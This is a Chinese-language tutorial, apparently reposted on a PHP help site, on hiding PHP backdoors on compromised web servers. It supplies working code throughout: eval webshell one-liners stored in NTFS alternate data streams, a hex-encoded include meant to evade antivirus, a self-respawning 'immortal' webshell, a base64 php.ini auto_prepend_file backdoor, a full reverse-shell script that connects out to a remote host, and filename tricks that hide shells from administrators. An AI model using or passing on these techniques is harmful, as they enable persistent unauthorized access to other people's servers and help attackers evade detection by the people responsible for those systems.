Heim  >  Artikel  >  Backend-Entwicklung  >  So verstecken Sie die Hintertür in PHP

So verstecken Sie die Hintertür in PHP

藏色散人
藏色散人Original
2020-07-25 09:38:443602Durchsuche

php隐藏后门的方法:1、创建系统隐藏文件;2、利用ADS隐藏文件;3、在php环境变量中留shell;4、设置不死马;5、设置“php.ini”后门;6、将关键字拆分,并进行多文件包含;7、将真正的一句话写入数据库。

So verstecken Sie die Hintertür in PHP

推荐:《PHP教程

php 后门隐藏技巧

1. attrib +s +h

创建系统隐藏文件:

attrib +s +a +r +h

attrib +s +h 文件名

So verstecken Sie die Hintertür in PHP

在 Windows 10下即使开启了显示隐藏的项目,或dir仍然看不见。

2. 利用 ADS 隐藏文件

NTFS交换数据流(Alternate Data Streams,简称 ADS)是 NTFS 磁盘格式的一个特性,在 NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用ADS 数据流,我们可以做很多有趣的事情。(抄的)

首先创建 ADS 隐藏文件

在命令行,echo 一个数据流进去,比如 index 文件是正常文件。

echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg

这样就生成了一个不可见的 index.php:shell.jpg

So verstecken Sie die Hintertür in PHP

使用dir /r查看

So verstecken Sie die Hintertür in PHP

可使用命令直接修改,要删除的话 直接删除 index.php就ok了

第二步,直接使用正常文件包含。

So verstecken Sie die Hintertür in PHP

做一些免杀

把 index.php:shell.jpg hex 编码

<?php
$a="696E6465782E7068703A7368656C6C2E6A7067";
// index.php:shell.jpg hex编码
$b="a";
include(PACK(&#39;H*&#39;,$$b))
?>

3.php环境变量留shell

在c盘创建这个目录

So verstecken Sie die Hintertür in PHP

丢个图片一句话

So verstecken Sie die Hintertür in PHP

然后文件包含,就好。为了隐蔽可以包含图片马,txt等。

So verstecken Sie die Hintertür in PHP

4.不死马

运行后,会删除自身,生成一个 webshell.php,管理员删除后还会生成。

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents(&#39;webshell.php&#39;,&#39;<?php @eval($_POST["password"]);?>&#39;);
sleep(5);
  }

解决覆盖重写或者重启 web 服务删掉即可。

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents(&#39;webshell.php&#39;,&#39;clear&#39;);
sleep(1);
  }

五. php.ini后门

将下面后门写入php.ini

allow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"
// base64 <?php @eval($_REQUEST[cmd]);?>
// 后门类型可自己修改。

这些做好后,重启 web 服务就好了。

方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。

方法2.就是加载一个 php_socke.php 脚本,让他重新加载 php.ini

此后门,任何php都可菜刀连接

<?php
/******************************/
/*     只适用于windows系统     */
/******************************/
while(true){//别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...
@set_time_limit(0);
$system=strtoupper(substr(PHP_OS,0,3));
if(!extension_loaded(&#39;sockets&#39;))
      {
if($system==&#39;WIN&#39;){@dl(&#39;php_sockets.dll&#39;)ordie("Can&#39;t load socket");}
      }
$host=&#39;255.255.255.255&#39;;//   搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~
$port=1998;//别问我为什么是1998,问了我也不会告诉你....
if($system=="WIN"){$env=array(&#39;path&#39;=>&#39;c:\\windows\\system32&#39;);}
$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);
$host=gethostbyname($host);
$proto=getprotobyname("tcp");
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}
if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}
else{
$message="PHP反弹连接\n";
@socket_write($sock,$message,strlen($message));
$cwd=str_replace(&#39;\\&#39;,&#39;/&#39;,dirname(__FILE__));
while($cmd=@socket_read($sock,65535,$proto))
              {
if(trim(strtolower($cmd))=="exit"){
socket_write($sock,"Bye\n");exit;
}else{
$process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if(is_resource($process)){
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg=stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg=stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
$return_value=proc_close($process);
                              }
                      }
              }
      }
}
?>
//此脚本非百分百成功

6.  关键字拆分,多文件包含!

比如一句话:@eval($_POST['x']);我们可以写成$a=$_POST['x'];@eval($a);

我们可以将 $a=$_POST['x'];写入一个文件 POST.php

然后在 @eval($a); 一句话的上方使用 include "POST.php";的方式引用!

So verstecken Sie die Hintertür in PHP

7.将真正的一句话写入数据库

当我们发现源码有个地方执行了数据库操作,那我们就可以改源码和数据库啦~

比如,修改成 eval(查出的数据);

So verstecken Sie die Hintertür in PHP

8.以下是linux的

无意中发现的。具体看代码。

<?php
$webpath = dirname(__FILE__)."/";
file_put_contents($webpath ."guige.jpg".chr(9).".php","保存的内容(比如写
个一句话)");
?>

生成一个文件。

在目录下看到是显示 名字为 guige.jpg

但是 web 浏览 却发现 没有找到 guige.jpg  后来发现 需要添 guige.jpg%09.php  这样

的话就导致我们可以对后门隐藏了。。管理员看到的是.jpg 我们却可以 web 用.php 解析来

连接。。。有用的到的可以看看。

Das obige ist der detaillierte Inhalt vonSo verstecken Sie die Hintertür in PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn